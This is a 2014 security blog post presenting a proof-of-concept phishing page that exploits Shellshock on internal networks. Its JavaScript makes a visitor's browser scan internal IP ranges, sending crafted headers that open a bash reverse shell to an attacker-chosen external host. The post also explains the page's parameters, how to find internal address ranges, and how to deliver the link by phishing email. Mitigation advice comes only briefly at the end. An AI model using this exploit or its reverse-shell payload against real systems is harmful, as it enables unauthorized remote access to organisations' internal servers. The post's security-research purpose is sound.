Google

Phishing for Shellshock

Written on:October 10, 2014
Comments are closed

Introduction

I thought I was done writing about Shellshock, but a recent discussion with some colleagues got me back on the topic. We were commenting about how organizations tend to react very quickly to patching external assets for a bug like Shellshock but many probably wait to patch internal assets due to a false sense of security. It got me thinking about how an external actor could exploit a bug like Shellshock on internal systems and one of the first things that came to mind was a JavaScript-based phishing attack.

The PoC Exploit

I figured one of the easiest methods of probing an internal network for vulnerable assets is to get the organization’s employees to do it for you.The idea is simple…host a malicious page with JavaScript that when visited, will initiate a series of web requests on the user’s internal network that include a crafted HTTP header to trigger the Shellshock vuln. I wrote a very basic proof of concept below:

<html>
<head>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script>
function getParams(param_in) {
    var suburl = window.location.search.substring(1);
    var params = suburl.split('&');
    for (var i = 0; i < params.length; i++) {
        var param_val = params[i].split('=');
        if (decodeURIComponent(param_val[0]) == param_in) {
            return decodeURIComponent(param_val[1]);
        }
    }
}
$(document).ready(function() {

	var start = getParams('s');
	var end3 = getParams('e3');
	var end4 = getParams('e4');
	var dot = '.';
	var socts = start.split(dot);
	var octs1_2 = socts[0]+dot+socts[1];
	var dst = getParams('d');
	var urlArray = ["",
			"/cgi-bin/test.cgi",
			"/cgi-bin/index.cgi"
			];

    var myHeader = '() { :;}; /bin/bash -i >& /dev/tcp/'+ dst + ' 0>&1'
    var urlArrayLen = urlArray.length;		
	
	for ( var oct3 = socts[2]; oct3 <= end3; oct3++ ) {
		for (var oct4 = socts[3]; oct4 <= end4; oct4++) {
			for (var i = 0; i < urlArrayLen; i++) {
				var ipaddress = octs1_2+dot+oct3+dot+oct4+urlArray[i];
				console.log("Scanning: " + ipaddress);
				$.ajax({
					url: "http://"+ipaddress,
					headers: {"Accept": myHeader,
					          "Accept-Language":myHeader},
					type: "GET"

					});
			}
		}
	}
});
</script>
</head>
<body>PUT WHATEVER YOU WANT HERE</body>
</html>

All the script does is force the client to make multiple GET requests to a pre-defined range of non-routable/internal IP addresses. These GET requests are sent via AJAX with modified Accept and Accept-Language headers to create a simple reverse shell back to a waiting external IP address. The use of these particular headers over other, more-commonly used headers such as User-Agent and Cookie was necessary due to the restrictions of XMLHTTPRequest. However, in my testing it was still successful, depending of course on the configuration of the target web application (e.g. CGI script that sets env variables for multiple headers). Don’t forget, non-CGI PHP scripts can also be vulnerable so this simple scan would would not target those.

The JavaScript parses the URL for some configuration parameters — namely the IP addresses to scan and the external callback IP address. Here’s an example URL:

http://malicioussite/ishockscan.html?s=192.168.1.0&e3=255&e4=255&d=111.222.333.444/5555

The first parameter (s) is the internal IP at which to start scanning. Params e3 and e4 are the ending values for the third and fourth octet of the starting IP. With the above example URL, the script will make an HTTP request to 192.168.1.0. Then it will make a request to 192.168.1.1, etc until it reaches 192.168.255.255. I could have been more granular and chose to modify all octets but this was only intended as a simple PoC. The last parameter (d) is the callback IP and port to which the remote shell will connect. Obviously the example is an invalid value but you get the idea.

Within the content of the JavaScript I also included a urlArray that contains various paths to try on each target internal IP. This could be useful if you wanted to attempt several common cgi script names, or if you knew of vulnerable technologies deployed by the organization on its internal network (but didn’t know the specific internal IP address).

The beauty of this attack method is that (other than the available headers from which to choose) CORS is not a factor here. Below you can see that the scan does trigger a warning.

phishing_shellshock_1

However, this makes no difference to us as the “attacker”  because we don’t need to see the response from the request made by the client. We simply need to force the client to make the request and sit back and wait for a vulnerable internal server to initiate the call back to us. In fact, CORS browser settings did not have an effect on my testing:

phishing_shellshock_2

Here’s another view of the phished client making the requests, first to the “malicious”, external page (184.X.X.X) and then to the internal assets (172.X.X.X):

phishing_shellshock_3

Since it’s the internal server that will be initiating the subsequent call out (with the remote shell), it is less likely that it would be blocked by an IPS or Firewall. This demo only illustrates a simple piped shell, though there are better options for a more robust exploit method. Also, in this demo version, neither the url nor the JavaScript is obfuscated.

Just like the external mass scans, the success of an attack like this will vary, even on an unpatched network. Obviously, likelihood goes up if you can be sure about the internal IP address space. There are several ways you could do this via passive and active reconnaissance. I won’t go into all of those here (I cover some passive recon techniques in this post), but I will cover one interesting method I saw the other day in a DerbyCon video by Nate Power in which he shows how to obtain the IP address of the internal interface of an organizations OWA server by a crafted request using openssl s_client. I validated this works very well:

phishing_shellshock_4

Once you have your target internal IP range, you just have to get one or more organizational users to visit your malicious page. That’s where the phishing component comes in. It usually doesn’t take much…a crafted email with the link is pretty much all you need. Maybe throw in an insecure Google redirector for good measure 🙂

Here’s a very short demo video. The cmd window on the left is the waiting listener sitting on an external IP address. The window on the right is the session of the internal organizational “victim” that receives the phishing email and clicks the link. You’ll notice the shell is almost instantaneous because I limited the scan to only a single IP address for this demo. A larger scan will take some more time so so if you’re going to test this, you’ll want to choose a longer video!

I tested this with a considerably larger group of IP addresses with the same success. I also successfully tested on both Windows and Mac clients using IE, FF, Chrome, and Safari. Btw, the listener code is available here if you’re interested.

So what mitigating protections are there for an attack like this? Well, for starters, patch all vulnerable assets, both internal and external. Phishing awareness is also a factor, though it’s a moving target. Again, there’s limitations on the types of AJAX-based HTTP requests so it’s not as flexible as scanning external IPs directly. Also, your network IPS or even client-based HIPS solutions may catch these type of web requests. Surprisingly, Symantec was able to detect and stop these requests on several of the machines I tested with (both Mac and Windows).

phishing_shellshock_6

phishing_shellshock_5

Oh yeah, did I mention…patch those internal systems?

The above PoC script is really basic and could be greatly improved and in the end, there’s nothing groundbreaking or novel about this approach, though it does illustrate why patching all vulnerable assets as soon as possible is a sound security practice.

Until next time,

– Mike

6 Comments add one